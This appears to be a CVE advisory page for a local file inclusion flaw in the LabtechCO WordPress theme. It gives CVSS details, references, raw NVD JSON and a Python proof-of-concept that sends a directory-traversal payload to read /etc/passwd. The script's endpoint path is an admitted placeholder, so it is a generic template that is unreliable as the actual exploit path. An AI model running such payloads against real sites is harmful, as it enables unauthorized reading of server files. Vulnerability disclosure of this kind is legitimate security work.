CVE-2026-39544

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in themeStek LabtechCO labtechco allows PHP Local File Inclusion.This issue affects LabtechCO: from n/a through <= 8.3.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

LabtechCO <= 8.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_lfi(target_url):
    # Target endpoint example (adjust based on actual vulnerability path)
    url = f"{target_url}/wp-content/themes/labtechco/inc/path/file.php"
    
    # Payload to read /etc/passwd using directory traversal
    params = {
        "file": "../../../../../../../../etc/passwd"
    }
    
    try:
        response = requests.get(url, params=params, timeout=10)
        if "root:" in response.text:
            print("[+] Vulnerability confirmed: /etc/passwd content found.")
            print(response.text[:200])
        else:
            print("[-] Vulnerability not detected or payload incorrect.")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    target = "http://example.com"
    check_lfi(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39544
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39544
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39544/
[4] VulDB https://vuldb.com/cve/CVE-2026-39544
[5] https://patchstack.com/database/Wordpress/Theme/labtechco/vulnerability/wordpress-labtechco-theme-8-3-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39544", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:27.070", "lastModified": "2026-04-24T18:07:25.343", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in themeStek LabtechCO labtechco allows PHP Local File Inclusion.This issue affects LabtechCO: from n/a through <= 8.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/labtechco/vulnerability/wordpress-labtechco-theme-8-3-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}